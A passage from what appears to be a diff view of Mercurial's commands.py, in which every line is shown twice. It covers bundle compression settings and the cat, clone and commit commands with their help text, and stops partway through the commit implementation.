1662 # level without a) formalizing the bundlespec changes to declare it
1663 # b) introducing a command flag.
1663 # b) introducing a command flag.
1664 compopts = {}
1664 compopts = {}
1665 complevel = ui.configint(
1665 complevel = ui.configint(
1666 b'experimental', b'bundlecomplevel.' + bundlespec.compression
1666 b'experimental', b'bundlecomplevel.' + bundlespec.compression
1667 )
1667 )
1668 if complevel is None:
1668 if complevel is None:
1669 complevel = ui.configint(b'experimental', b'bundlecomplevel')
1669 complevel = ui.configint(b'experimental', b'bundlecomplevel')
1670 if complevel is not None:
1670 if complevel is not None:
1671 compopts[b'level'] = complevel
1671 compopts[b'level'] = complevel
1672
1672
1673 compthreads = ui.configint(
1673 compthreads = ui.configint(
1674 b'experimental', b'bundlecompthreads.' + bundlespec.compression
1674 b'experimental', b'bundlecompthreads.' + bundlespec.compression
1675 )
1675 )
1676 if compthreads is None:
1676 if compthreads is None:
1677 compthreads = ui.configint(b'experimental', b'bundlecompthreads')
1677 compthreads = ui.configint(b'experimental', b'bundlecompthreads')
1678 if compthreads is not None:
1678 if compthreads is not None:
1679 compopts[b'threads'] = compthreads
1679 compopts[b'threads'] = compthreads
1680
1680
1681 # Bundling of obsmarker and phases is optional as not all clients
1681 # Bundling of obsmarker and phases is optional as not all clients
1682 # support the necessary features.
1682 # support the necessary features.
1683 cfg = ui.configbool
1683 cfg = ui.configbool
1684 contentopts = {
1684 contentopts = {
1685 b'obsolescence': cfg(b'experimental', b'evolution.bundle-obsmarker'),
1685 b'obsolescence': cfg(b'experimental', b'evolution.bundle-obsmarker'),
1686 b'obsolescence-mandatory': cfg(
1686 b'obsolescence-mandatory': cfg(
1687 b'experimental', b'evolution.bundle-obsmarker:mandatory'
1687 b'experimental', b'evolution.bundle-obsmarker:mandatory'
1688 ),
1688 ),
1689 b'phases': cfg(b'experimental', b'bundle-phases'),
1689 b'phases': cfg(b'experimental', b'bundle-phases'),
1690 }
1690 }
1691 bundlespec.contentopts.update(contentopts)
1691 bundlespec.contentopts.update(contentopts)
1692
1692
1693 bundle2.writenewbundle(
1693 bundle2.writenewbundle(
1694 ui,
1694 ui,
1695 repo,
1695 repo,
1696 b'bundle',
1696 b'bundle',
1697 fname,
1697 fname,
1698 bversion,
1698 bversion,
1699 outgoing,
1699 outgoing,
1700 bundlespec.contentopts,
1700 bundlespec.contentopts,
1701 compression=bcompression,
1701 compression=bcompression,
1702 compopts=compopts,
1702 compopts=compopts,
1703 )
1703 )
1704
1704
1705
1705
1706 @command(
1706 @command(
1707 b'cat',
1707 b'cat',
1708 [
1708 [
1709 (
1709 (
1710 b'o',
1710 b'o',
1711 b'output',
1711 b'output',
1712 b'',
1712 b'',
1713 _(b'print output to file with formatted name'),
1713 _(b'print output to file with formatted name'),
1714 _(b'FORMAT'),
1714 _(b'FORMAT'),
1715 ),
1715 ),
1716 (b'r', b'rev', b'', _(b'print the given revision'), _(b'REV')),
1716 (b'r', b'rev', b'', _(b'print the given revision'), _(b'REV')),
1717 (b'', b'decode', None, _(b'apply any matching decode filter')),
1717 (b'', b'decode', None, _(b'apply any matching decode filter')),
1718 ]
1718 ]
1719 + walkopts
1719 + walkopts
1720 + formatteropts,
1720 + formatteropts,
1721 _(b'[OPTION]... FILE...'),
1721 _(b'[OPTION]... FILE...'),
1722 helpcategory=command.CATEGORY_FILE_CONTENTS,
1722 helpcategory=command.CATEGORY_FILE_CONTENTS,
1723 inferrepo=True,
1723 inferrepo=True,
1724 intents={INTENT_READONLY},
1724 intents={INTENT_READONLY},
1725 )
1725 )
1726 def cat(ui, repo, file1, *pats, **opts):
1726 def cat(ui, repo, file1, *pats, **opts):
1727 """output the current or given revision of files
1727 """output the current or given revision of files
1728
1728
1729 Print the specified files as they were at the given revision. If
1729 Print the specified files as they were at the given revision. If
1730 no revision is given, the parent of the working directory is used.
1730 no revision is given, the parent of the working directory is used.
1731
1731
1732 Output may be to a file, in which case the name of the file is
1732 Output may be to a file, in which case the name of the file is
1733 given using a template string. See :hg:`help templates`. In addition
1733 given using a template string. See :hg:`help templates`. In addition
1734 to the common template keywords, the following formatting rules are
1734 to the common template keywords, the following formatting rules are
1735 supported:
1735 supported:
1736
1736
1737 :``%%``: literal "%" character
1737 :``%%``: literal "%" character
1738 :``%s``: basename of file being printed
1738 :``%s``: basename of file being printed
1739 :``%d``: dirname of file being printed, or '.' if in repository root
1739 :``%d``: dirname of file being printed, or '.' if in repository root
1740 :``%p``: root-relative path name of file being printed
1740 :``%p``: root-relative path name of file being printed
1741 :``%H``: changeset hash (40 hexadecimal digits)
1741 :``%H``: changeset hash (40 hexadecimal digits)
1742 :``%R``: changeset revision number
1742 :``%R``: changeset revision number
1743 :``%h``: short-form changeset hash (12 hexadecimal digits)
1743 :``%h``: short-form changeset hash (12 hexadecimal digits)
1744 :``%r``: zero-padded changeset revision number
1744 :``%r``: zero-padded changeset revision number
1745 :``%b``: basename of the exporting repository
1745 :``%b``: basename of the exporting repository
1746 :``\\``: literal "\\" character
1746 :``\\``: literal "\\" character
1747
1747
1748 .. container:: verbose
1748 .. container:: verbose
1749
1749
1750 Template:
1750 Template:
1751
1751
1752 The following keywords are supported in addition to the common template
1752 The following keywords are supported in addition to the common template
1753 keywords and functions. See also :hg:`help templates`.
1753 keywords and functions. See also :hg:`help templates`.
1754
1754
1755 :data: String. File content.
1755 :data: String. File content.
1756 :path: String. Repository-absolute path of the file.
1756 :path: String. Repository-absolute path of the file.
1757
1757
1758 Returns 0 on success.
1758 Returns 0 on success.
1759 """
1759 """
1760 opts = pycompat.byteskwargs(opts)
1760 opts = pycompat.byteskwargs(opts)
1761 rev = opts.get(b'rev')
1761 rev = opts.get(b'rev')
1762 if rev:
1762 if rev:
1763 repo = scmutil.unhidehashlikerevs(repo, [rev], b'nowarn')
1763 repo = scmutil.unhidehashlikerevs(repo, [rev], b'nowarn')
1764 ctx = logcmdutil.revsingle(repo, rev)
1764 ctx = logcmdutil.revsingle(repo, rev)
1765 m = scmutil.match(ctx, (file1,) + pats, opts)
1765 m = scmutil.match(ctx, (file1,) + pats, opts)
1766 fntemplate = opts.pop(b'output', b'')
1766 fntemplate = opts.pop(b'output', b'')
1767 if cmdutil.isstdiofilename(fntemplate):
1767 if cmdutil.isstdiofilename(fntemplate):
1768 fntemplate = b''
1768 fntemplate = b''
1769
1769
1770 if fntemplate:
1770 if fntemplate:
1771 fm = formatter.nullformatter(ui, b'cat', opts)
1771 fm = formatter.nullformatter(ui, b'cat', opts)
1772 else:
1772 else:
1773 ui.pager(b'cat')
1773 ui.pager(b'cat')
1774 fm = ui.formatter(b'cat', opts)
1774 fm = ui.formatter(b'cat', opts)
1775 with fm:
1775 with fm:
1776 return cmdutil.cat(
1776 return cmdutil.cat(
1777 ui, repo, ctx, m, fm, fntemplate, b'', **pycompat.strkwargs(opts)
1777 ui, repo, ctx, m, fm, fntemplate, b'', **pycompat.strkwargs(opts)
1778 )
1778 )
1779
1779
1780
1780
1781 @command(
1781 @command(
1782 b'clone',
1782 b'clone',
1783 [
1783 [
1784 (
1784 (
1785 b'U',
1785 b'U',
1786 b'noupdate',
1786 b'noupdate',
1787 None,
1787 None,
1788 _(
1788 _(
1789 b'the clone will include an empty working '
1789 b'the clone will include an empty working '
1790 b'directory (only a repository)'
1790 b'directory (only a repository)'
1791 ),
1791 ),
1792 ),
1792 ),
1793 (
1793 (
1794 b'u',
1794 b'u',
1795 b'updaterev',
1795 b'updaterev',
1796 b'',
1796 b'',
1797 _(b'revision, tag, or branch to check out'),
1797 _(b'revision, tag, or branch to check out'),
1798 _(b'REV'),
1798 _(b'REV'),
1799 ),
1799 ),
1800 (
1800 (
1801 b'r',
1801 b'r',
1802 b'rev',
1802 b'rev',
1803 [],
1803 [],
1804 _(
1804 _(
1805 b'do not clone everything, but include this changeset'
1805 b'do not clone everything, but include this changeset'
1806 b' and its ancestors'
1806 b' and its ancestors'
1807 ),
1807 ),
1808 _(b'REV'),
1808 _(b'REV'),
1809 ),
1809 ),
1810 (
1810 (
1811 b'b',
1811 b'b',
1812 b'branch',
1812 b'branch',
1813 [],
1813 [],
1814 _(
1814 _(
1815 b'do not clone everything, but include this branch\'s'
1815 b'do not clone everything, but include this branch\'s'
1816 b' changesets and their ancestors'
1816 b' changesets and their ancestors'
1817 ),
1817 ),
1818 _(b'BRANCH'),
1818 _(b'BRANCH'),
1819 ),
1819 ),
1820 (b'', b'pull', None, _(b'use pull protocol to copy metadata')),
1820 (b'', b'pull', None, _(b'use pull protocol to copy metadata')),
1821 (b'', b'uncompressed', None, _(b'an alias to --stream (DEPRECATED)')),
1821 (b'', b'uncompressed', None, _(b'an alias to --stream (DEPRECATED)')),
1822 (b'', b'stream', None, _(b'clone with minimal data processing')),
1822 (b'', b'stream', None, _(b'clone with minimal data processing')),
1823 ]
1823 ]
1824 + remoteopts,
1824 + remoteopts,
1825 _(b'[OPTION]... SOURCE [DEST]'),
1825 _(b'[OPTION]... SOURCE [DEST]'),
1826 helpcategory=command.CATEGORY_REPO_CREATION,
1826 helpcategory=command.CATEGORY_REPO_CREATION,
1827 helpbasic=True,
1827 helpbasic=True,
1828 norepo=True,
1828 norepo=True,
1829 )
1829 )
1830 def clone(ui, source, dest=None, **opts):
1830 def clone(ui, source, dest=None, **opts):
1831 """make a copy of an existing repository
1831 """make a copy of an existing repository
1832
1832
1833 Create a copy of an existing repository in a new directory.
1833 Create a copy of an existing repository in a new directory.
1834
1834
1835 If no destination directory name is specified, it defaults to the
1835 If no destination directory name is specified, it defaults to the
1836 basename of the source.
1836 basename of the source.
1837
1837
1838 The location of the source is added to the new repository's
1838 The location of the source is added to the new repository's
1839 ``.hg/hgrc`` file, as the default to be used for future pulls.
1839 ``.hg/hgrc`` file, as the default to be used for future pulls.
1840
1840
1841 Only local paths and ``ssh://`` URLs are supported as
1841 Only local paths and ``ssh://`` URLs are supported as
1842 destinations. For ``ssh://`` destinations, no working directory or
1842 destinations. For ``ssh://`` destinations, no working directory or
1843 ``.hg/hgrc`` will be created on the remote side.
1843 ``.hg/hgrc`` will be created on the remote side.
1844
1844
1845 If the source repository has a bookmark called '@' set, that
1845 If the source repository has a bookmark called '@' set, that
1846 revision will be checked out in the new repository by default.
1846 revision will be checked out in the new repository by default.
1847
1847
1848 To check out a particular version, use -u/--update, or
1848 To check out a particular version, use -u/--update, or
1849 -U/--noupdate to create a clone with no working directory.
1849 -U/--noupdate to create a clone with no working directory.
1850
1850
1851 To pull only a subset of changesets, specify one or more revisions
1851 To pull only a subset of changesets, specify one or more revisions
1852 identifiers with -r/--rev or branches with -b/--branch. The
1852 identifiers with -r/--rev or branches with -b/--branch. The
1853 resulting clone will contain only the specified changesets and
1853 resulting clone will contain only the specified changesets and
1854 their ancestors. These options (or 'clone src#rev dest') imply
1854 their ancestors. These options (or 'clone src#rev dest') imply
1855 --pull, even for local source repositories.
1855 --pull, even for local source repositories.
1856
1856
1857 In normal clone mode, the remote normalizes repository data into a common
1857 In normal clone mode, the remote normalizes repository data into a common
1858 exchange format and the receiving end translates this data into its local
1858 exchange format and the receiving end translates this data into its local
1859 storage format. --stream activates a different clone mode that essentially
1859 storage format. --stream activates a different clone mode that essentially
1860 copies repository files from the remote with minimal data processing. This
1860 copies repository files from the remote with minimal data processing. This
1861 significantly reduces the CPU cost of a clone both remotely and locally.
1861 significantly reduces the CPU cost of a clone both remotely and locally.
1862 However, it often increases the transferred data size by 30-40%. This can
1862 However, it often increases the transferred data size by 30-40%. This can
1863 result in substantially faster clones where I/O throughput is plentiful,
1863 result in substantially faster clones where I/O throughput is plentiful,
1864 especially for larger repositories. A side-effect of --stream clones is
1864 especially for larger repositories. A side-effect of --stream clones is
1865 that storage settings and requirements on the remote are applied locally:
1865 that storage settings and requirements on the remote are applied locally:
1866 a modern client may inherit legacy or inefficient storage used by the
1866 a modern client may inherit legacy or inefficient storage used by the
1867 remote or a legacy Mercurial client may not be able to clone from a
1867 remote or a legacy Mercurial client may not be able to clone from a
1868 modern Mercurial remote.
1868 modern Mercurial remote.
1869
1869
1870 .. note::
1870 .. note::
1871
1871
1872 Specifying a tag will include the tagged changeset but not the
1872 Specifying a tag will include the tagged changeset but not the
1873 changeset containing the tag.
1873 changeset containing the tag.
1874
1874
1875 .. container:: verbose
1875 .. container:: verbose
1876
1876
1877 For efficiency, hardlinks are used for cloning whenever the
1877 For efficiency, hardlinks are used for cloning whenever the
1878 source and destination are on the same filesystem (note this
1878 source and destination are on the same filesystem (note this
1879 applies only to the repository data, not to the working
1879 applies only to the repository data, not to the working
1880 directory). Some filesystems, such as AFS, implement hardlinking
1880 directory). Some filesystems, such as AFS, implement hardlinking
1881 incorrectly, but do not report errors. In these cases, use the
1881 incorrectly, but do not report errors. In these cases, use the
1882 --pull option to avoid hardlinking.
1882 --pull option to avoid hardlinking.
1883
1883
1884 Mercurial will update the working directory to the first applicable
1884 Mercurial will update the working directory to the first applicable
1885 revision from this list:
1885 revision from this list:
1886
1886
1887 a) null if -U or the source repository has no changesets
1887 a) null if -U or the source repository has no changesets
1888 b) if -u . and the source repository is local, the first parent of
1888 b) if -u . and the source repository is local, the first parent of
1889 the source repository's working directory
1889 the source repository's working directory
1890 c) the changeset specified with -u (if a branch name, this means the
1890 c) the changeset specified with -u (if a branch name, this means the
1891 latest head of that branch)
1891 latest head of that branch)
1892 d) the changeset specified with -r
1892 d) the changeset specified with -r
1893 e) the tipmost head specified with -b
1893 e) the tipmost head specified with -b
1894 f) the tipmost head specified with the url#branch source syntax
1894 f) the tipmost head specified with the url#branch source syntax
1895 g) the revision marked with the '@' bookmark, if present
1895 g) the revision marked with the '@' bookmark, if present
1896 h) the tipmost head of the default branch
1896 h) the tipmost head of the default branch
1897 i) tip
1897 i) tip
1898
1898
1899 When cloning from servers that support it, Mercurial may fetch
1899 When cloning from servers that support it, Mercurial may fetch
1900 pre-generated data from a server-advertised URL or inline from the
1900 pre-generated data from a server-advertised URL or inline from the
1901 same stream. When this is done, hooks operating on incoming changesets
1901 same stream. When this is done, hooks operating on incoming changesets
1902 and changegroups may fire more than once, once for each pre-generated
1902 and changegroups may fire more than once, once for each pre-generated
1903 bundle and as well as for any additional remaining data. In addition,
1903 bundle and as well as for any additional remaining data. In addition,
1904 if an error occurs, the repository may be rolled back to a partial
1904 if an error occurs, the repository may be rolled back to a partial
1905 clone. This behavior may change in future releases.
1905 clone. This behavior may change in future releases.
1906 See :hg:`help -e clonebundles` for more.
1906 See :hg:`help -e clonebundles` for more.
1907
1907
1908 Examples:
1908 Examples:
1909
1909
1910 - clone a remote repository to a new directory named hg/::
1910 - clone a remote repository to a new directory named hg/::
1911
1911
1912 hg clone https://www.mercurial-scm.org/repo/hg/
1912 hg clone https://www.mercurial-scm.org/repo/hg/
1913
1913
1914 - create a lightweight local clone::
1914 - create a lightweight local clone::
1915
1915
1916 hg clone project/ project-feature/
1916 hg clone project/ project-feature/
1917
1917
1918 - clone from an absolute path on an ssh server (note double-slash)::
1918 - clone from an absolute path on an ssh server (note double-slash)::
1919
1919
1920 hg clone ssh://user@server//home/projects/alpha/
1920 hg clone ssh://user@server//home/projects/alpha/
1921
1921
1922 - do a streaming clone while checking out a specified version::
1922 - do a streaming clone while checking out a specified version::
1923
1923
1924 hg clone --stream http://server/repo -u 1.5
1924 hg clone --stream http://server/repo -u 1.5
1925
1925
1926 - create a repository without changesets after a particular revision::
1926 - create a repository without changesets after a particular revision::
1927
1927
1928 hg clone -r 04e544 experimental/ good/
1928 hg clone -r 04e544 experimental/ good/
1929
1929
1930 - clone (and track) a particular named branch::
1930 - clone (and track) a particular named branch::
1931
1931
1932 hg clone https://www.mercurial-scm.org/repo/hg/#stable
1932 hg clone https://www.mercurial-scm.org/repo/hg/#stable
1933
1933
1934 See :hg:`help urls` for details on specifying URLs.
1934 See :hg:`help urls` for details on specifying URLs.
1935
1935
1936 Returns 0 on success.
1936 Returns 0 on success.
1937 """
1937 """
1938 opts = pycompat.byteskwargs(opts)
1938 opts = pycompat.byteskwargs(opts)
1939 cmdutil.check_at_most_one_arg(opts, b'noupdate', b'updaterev')
1939 cmdutil.check_at_most_one_arg(opts, b'noupdate', b'updaterev')
1940
1940
1941 # --include/--exclude can come from narrow or sparse.
1941 # --include/--exclude can come from narrow or sparse.
1942 includepats, excludepats = None, None
1942 includepats, excludepats = None, None
1943
1943
1944 # hg.clone() differentiates between None and an empty set. So make sure
1944 # hg.clone() differentiates between None and an empty set. So make sure
1945 # patterns are sets if narrow is requested without patterns.
1945 # patterns are sets if narrow is requested without patterns.
1946 if opts.get(b'narrow'):
1946 if opts.get(b'narrow'):
1947 includepats = set()
1947 includepats = set()
1948 excludepats = set()
1948 excludepats = set()
1949
1949
1950 if opts.get(b'include'):
1950 if opts.get(b'include'):
1951 includepats = narrowspec.parsepatterns(opts.get(b'include'))
1951 includepats = narrowspec.parsepatterns(opts.get(b'include'))
1952 if opts.get(b'exclude'):
1952 if opts.get(b'exclude'):
1953 excludepats = narrowspec.parsepatterns(opts.get(b'exclude'))
1953 excludepats = narrowspec.parsepatterns(opts.get(b'exclude'))
1954
1954
1955 r = hg.clone(
1955 r = hg.clone(
1956 ui,
1956 ui,
1957 opts,
1957 opts,
1958 source,
1958 source,
1959 dest,
1959 dest,
1960 pull=opts.get(b'pull'),
1960 pull=opts.get(b'pull'),
1961 stream=opts.get(b'stream') or opts.get(b'uncompressed'),
1961 stream=opts.get(b'stream') or opts.get(b'uncompressed'),
1962 revs=opts.get(b'rev'),
1962 revs=opts.get(b'rev'),
1963 update=opts.get(b'updaterev') or not opts.get(b'noupdate'),
1963 update=opts.get(b'updaterev') or not opts.get(b'noupdate'),
1964 branch=opts.get(b'branch'),
1964 branch=opts.get(b'branch'),
1965 shareopts=opts.get(b'shareopts'),
1965 shareopts=opts.get(b'shareopts'),
1966 storeincludepats=includepats,
1966 storeincludepats=includepats,
1967 storeexcludepats=excludepats,
1967 storeexcludepats=excludepats,
1968 depth=opts.get(b'depth') or None,
1968 depth=opts.get(b'depth') or None,
1969 )
1969 )
1970
1970
1971 return r is None
1971 return r is None
1972
1972
1973
1973
1974 @command(
1974 @command(
1975 b'commit|ci',
1975 b'commit|ci',
1976 [
1976 [
1977 (
1977 (
1978 b'A',
1978 b'A',
1979 b'addremove',
1979 b'addremove',
1980 None,
1980 None,
1981 _(b'mark new/missing files as added/removed before committing'),
1981 _(b'mark new/missing files as added/removed before committing'),
1982 ),
1982 ),
1983 (b'', b'close-branch', None, _(b'mark a branch head as closed')),
1983 (b'', b'close-branch', None, _(b'mark a branch head as closed')),
1984 (b'', b'amend', None, _(b'amend the parent of the working directory')),
1984 (b'', b'amend', None, _(b'amend the parent of the working directory')),
1985 (b's', b'secret', None, _(b'use the secret phase for committing')),
1985 (b's', b'secret', None, _(b'use the secret phase for committing')),
1986 (b'e', b'edit', None, _(b'invoke editor on commit messages')),
1986 (b'e', b'edit', None, _(b'invoke editor on commit messages')),
1987 (
1987 (
1988 b'',
1988 b'',
1989 b'force-close-branch',
1989 b'force-close-branch',
1990 None,
1990 None,
1991 _(b'forcibly close branch from a non-head changeset (ADVANCED)'),
1991 _(b'forcibly close branch from a non-head changeset (ADVANCED)'),
1992 ),
1992 ),
1993 (b'i', b'interactive', None, _(b'use interactive mode')),
1993 (b'i', b'interactive', None, _(b'use interactive mode')),
1994 ]
1994 ]
1995 + walkopts
1995 + walkopts
1996 + commitopts
1996 + commitopts
1997 + commitopts2
1997 + commitopts2
1998 + subrepoopts,
1998 + subrepoopts,
1999 _(b'[OPTION]... [FILE]...'),
1999 _(b'[OPTION]... [FILE]...'),
2000 helpcategory=command.CATEGORY_COMMITTING,
2000 helpcategory=command.CATEGORY_COMMITTING,
2001 helpbasic=True,
2001 helpbasic=True,
2002 inferrepo=True,
2002 inferrepo=True,
2003 )
2003 )
2004 def commit(ui, repo, *pats, **opts):
2004 def commit(ui, repo, *pats, **opts):
2005 """commit the specified files or all outstanding changes
2005 """commit the specified files or all outstanding changes
2006
2006
2007 Commit changes to the given files into the repository. Unlike a
2007 Commit changes to the given files into the repository. Unlike a
2008 centralized SCM, this operation is a local operation. See
2008 centralized SCM, this operation is a local operation. See
2009 :hg:`push` for a way to actively distribute your changes.
2009 :hg:`push` for a way to actively distribute your changes.
2010
2010
2011 If a list of files is omitted, all changes reported by :hg:`status`
2011 If a list of files is omitted, all changes reported by :hg:`status`
2012 will be committed.
2012 will be committed.
2013
2013
2014 If you are committing the result of a merge, do not provide any
2014 If you are committing the result of a merge, do not provide any
2015 filenames or -I/-X filters.
2015 filenames or -I/-X filters.
2016
2016
2017 If no commit message is specified, Mercurial starts your
2017 If no commit message is specified, Mercurial starts your
2018 configured editor where you can enter a message. In case your
2018 configured editor where you can enter a message. In case your
2019 commit fails, you will find a backup of your message in
2019 commit fails, you will find a backup of your message in
2020 ``.hg/last-message.txt``.
2020 ``.hg/last-message.txt``.
2021
2021
2022 The --close-branch flag can be used to mark the current branch
2022 The --close-branch flag can be used to mark the current branch
2023 head closed. When all heads of a branch are closed, the branch
2023 head closed. When all heads of a branch are closed, the branch
2024 will be considered closed and no longer listed.
2024 will be considered closed and no longer listed.
2025
2025
2026 The --amend flag can be used to amend the parent of the
2026 The --amend flag can be used to amend the parent of the
2027 working directory with a new commit that contains the changes
2027 working directory with a new commit that contains the changes
2028 in the parent in addition to those currently reported by :hg:`status`,
2028 in the parent in addition to those currently reported by :hg:`status`,
2029 if there are any. The old commit is stored in a backup bundle in
2029 if there are any. The old commit is stored in a backup bundle in
2030 ``.hg/strip-backup`` (see :hg:`help bundle` and :hg:`help unbundle`
2030 ``.hg/strip-backup`` (see :hg:`help bundle` and :hg:`help unbundle`
2031 on how to restore it).
2031 on how to restore it).
2032
2032
2033 Message, user and date are taken from the amended commit unless
2033 Message, user and date are taken from the amended commit unless
2034 specified. When a message isn't specified on the command line,
2034 specified. When a message isn't specified on the command line,
2035 the editor will open with the message of the amended commit.
2035 the editor will open with the message of the amended commit.
2036
2036
2037 It is not possible to amend public changesets (see :hg:`help phases`)
2037 It is not possible to amend public changesets (see :hg:`help phases`)
2038 or changesets that have children.
2038 or changesets that have children.
2039
2039
2040 See :hg:`help dates` for a list of formats valid for -d/--date.
2040 See :hg:`help dates` for a list of formats valid for -d/--date.
2041
2041
2042 Returns 0 on success, 1 if nothing changed.
2042 Returns 0 on success, 1 if nothing changed.
2043
2043
2044 .. container:: verbose
2044 .. container:: verbose
2045
2045
2046 Examples:
2046 Examples:
2047
2047
2048 - commit all files ending in .py::
2048 - commit all files ending in .py::
2049
2049
2050 hg commit --include "set:**.py"
2050 hg commit --include "set:**.py"
2051
2051
2052 - commit all non-binary files::
2052 - commit all non-binary files::
2053
2053
2054 hg commit --exclude "set:binary()"
2054 hg commit --exclude "set:binary()"
2055
2055
2056 - amend the current commit and set the date to now::
2056 - amend the current commit and set the date to now::
2057
2057
2058 hg commit --amend --date now
2058 hg commit --amend --date now
2059 """
2059 """
2060 with repo.wlock(), repo.lock():
2060 with repo.wlock(), repo.lock():
2061 return _docommit(ui, repo, *pats, **opts)
2061 return _docommit(ui, repo, *pats, **opts)
2062
2062
2063
2063
2064 def _docommit(ui, repo, *pats, **opts):
2064 def _docommit(ui, repo, *pats, **opts):
2065 if opts.get('interactive'):
2065 if opts.get('interactive'):
2066 opts.pop('interactive')
2066 opts.pop('interactive')
2067 ret = cmdutil.dorecord(
2067 ret = cmdutil.dorecord(
2068 ui, repo, commit, None, False, cmdutil.recordfilter, *pats, **opts
2068 ui, repo, commit, None, False, cmdutil.recordfilter, *pats, **opts
2069 )
2069 )
2070 # ret can be 0 (no changes to record) or the value returned by
2070 # ret can be 0 (no changes to record) or the value returned by
2071 # commit(), 1 if nothing changed or None on success.
2071 # commit(), 1 if nothing changed or None on success.
2072 return 1 if ret == 0 else ret
2072 return 1 if ret == 0 else ret
2073
2073
2074 if opts.get('subrepos'):
2074 if opts.get('subrepos'):
2075 cmdutil.check_incompatible_arguments(opts, 'subrepos', ['amend'])
2075 cmdutil.check_incompatible_arguments(opts, 'subrepos', ['amend'])
2076 # Let --subrepos on the command line override config setting.
2076 # Let --subrepos on the command line override config setting.
2077 ui.setconfig(b'ui', b'commitsubrepos', True, b'commit')
2077 ui.setconfig(b'ui', b'commitsubrepos', True, b'commit')
2078
2078
2079 cmdutil.checkunfinished(repo, commit=True)
2079 cmdutil.checkunfinished(repo, commit=True)
2080
2080
2081 branch = repo[None].branch()
2081 branch = repo[None].branch()
2082 bheads = repo.branchheads(branch)
2082 bheads = repo.branchheads(branch)
2083 tip = repo.changelog.tip()
2083 tip = repo.changelog.tip()
2084
2084
2085 extra = {}
2085 extra = {}
2086 if opts.get('close_branch') or opts.get('force_close_branch'):
2086 if opts.get('close_branch') or opts.get('force_close_branch'):
2087 extra[b'close'] = b'1'
2087 extra[b'close'] = b'1'
2088
2088
2089 if repo[b'.'].closesbranch():
2089 if repo[b'.'].closesbranch():
2090 raise error.InputError(
2090 raise error.InputError(
2091 _(b'current revision is already a branch closing head')
2091 _(b'current revision is already a branch closing head')
2092 )
2092 )
2093 elif not bheads:
2093 elif not bheads:
2094 raise error.InputError(
2094 raise error.InputError(
2095 _(b'branch "%s" has no heads to close') % branch
2095 _(b'branch "%s" has no heads to close') % branch
2096 )
2096 )
2097 elif (
2097 elif (
2098 branch == repo[b'.'].branch()
2098 branch == repo[b'.'].branch()
2099 and repo[b'.'].node() not in bheads
2099 and repo[b'.'].node() not in bheads
2100 and not opts.get('force_close_branch')
2100 and not opts.get('force_close_branch')
2101 ):
2101 ):
2102 hint = _(
2102 hint = _(
2103 b'use --force-close-branch to close branch from a non-head'
2103 b'use --force-close-branch to close branch from a non-head'
2104 b' changeset'
2104 b' changeset'
2105 )
2105 )
2106 raise error.InputError(_(b'can only close branch heads'), hint=hint)
2106 raise error.InputError(_(b'can only close branch heads'), hint=hint)
2107 elif opts.get('amend'):
2107 elif opts.get('amend'):
2108 if (
2108 if (
2109 repo[b'.'].p1().branch() != branch
2109 repo[b'.'].p1().branch() != branch
2110 and repo[b'.'].p2().branch() != branch
2110 and repo[b'.'].p2().branch() != branch
2111 ):
2111 ):
2112 raise error.InputError(_(b'can only close branch heads'))
2112 raise error.InputError(_(b'can only close branch heads'))
2113
2113
2114 if opts.get('amend'):
2114 if opts.get('amend'):
2115 if ui.configbool(b'ui', b'commitsubrepos'):
2115 if ui.configbool(b'ui', b'commitsubrepos'):
2116 raise error.InputError(
2116 raise error.InputError(
2117 _(b'cannot amend with ui.commitsubrepos enabled')
2117 _(b'cannot amend with ui.commitsubrepos enabled')
2118 )
2118 )
2119
2119
2120 old = repo[b'.']
2120 old = repo[b'.']
2121 rewriteutil.precheck(repo, [old.rev()], b'amend')
2121 rewriteutil.precheck(repo, [old.rev()], b'amend')
2122
2122
2123 # Currently histedit gets confused if an amend happens while histedit
2123 # Currently histedit gets confused if an amend happens while histedit
2124 # is in progress. Since we have a checkunfinished command, we are
2124 # is in progress. Since we have a checkunfinished command, we are
2125 # temporarily honoring it.
2125 # temporarily honoring it.
2126 #
2126 #
2127 # Note: eventually this guard will be removed. Please do not expect
2127 # Note: eventually this guard will be removed. Please do not expect
2128 # this behavior to remain.
2128 # this behavior to remain.
2129 if not obsolete.isenabled(repo, obsolete.createmarkersopt):
2129 if not obsolete.isenabled(repo, obsolete.createmarkersopt):
2130 cmdutil.checkunfinished(repo)
2130 cmdutil.checkunfinished(repo)
2131
2131
2132 node = cmdutil.amend(ui, repo, old, extra, pats, opts)
2132 node = cmdutil.amend(ui, repo, old, extra, pats, opts)
2133 opts = pycompat.byteskwargs(opts)
2133 opts = pycompat.byteskwargs(opts)
2134 if node == old.node():
2134 if node == old.node():
2135 ui.status(_(b"nothing changed\n"))
2135 ui.status(_(b"nothing changed\n"))
2136 return 1
2136 return 1
2137 else:
2137 else:
2138
2138
2139 def commitfunc(ui, repo, message, match, opts):
2139 def commitfunc(ui, repo, message, match, opts):
2140 overrides = {}
2140 overrides = {}
2141 if opts.get(b'secret'):
2141 if opts.get(b'secret'):
2142 overrides[(b'phases', b'new-commit')] = b'secret'
2142 overrides[(b'phases', b'new-commit')] = b'secret'
2143
2143
2144 baseui = repo.baseui
2144 baseui = repo.baseui
2145 with baseui.configoverride(overrides, b'commit'):
2145 with baseui.configoverride(overrides, b'commit'):
2146 with ui.configoverride(overrides, b'commit'):
2146 with ui.configoverride(overrides, b'commit'):
2147 editform = cmdutil.mergeeditform(
2147 editform = cmdutil.mergeeditform(
2148 repo[None], b'commit.normal'
2148 repo[None], b'commit.normal'
2149 )
2149 )
2150 editor = cmdutil.getcommiteditor(
2150 editor = cmdutil.getcommiteditor(
2151 editform=editform, **pycompat.strkwargs(opts)
2151 editform=editform, **pycompat.strkwargs(opts)
2152 )
2152 )
2153 return repo.commit(
2153 return repo.commit(
2154 message,
2154 message,
2155 opts.get(b'user'),
2155 opts.get(b'user'),
2156 opts.get(b'date'),
2156 opts.get(b'date'),
2157 match,
2157 match,
2158 editor=editor,
2158 editor=editor,
2159 extra=extra,
2159 extra=extra,
2160 )
2160 )
2161
2161
2162 opts = pycompat.byteskwargs(opts)
2162 opts = pycompat.byteskwargs(opts)
2163 node = cmdutil.commit(ui, repo, commitfunc, pats, opts)
2163 node = cmdutil.commit(ui, repo, commitfunc, pats, opts)
2164
2164
2165 if not node:
2165 if not node:
2166 stat = cmdutil.postcommitstatus(repo, pats, opts)
2166 stat = cmdutil.postcommitstatus(repo, pats, opts)
2167 if stat.deleted:
2167 if stat.deleted:
2168 ui.status(
2168 ui.status(
2169 _(
2169 _(
2170 b"nothing changed (%d missing files, see "
2170 b"nothing changed (%d missing files, see "
2171 b"'hg status')\n"
2171 b"'hg status')\n"
2172 )
2172 )
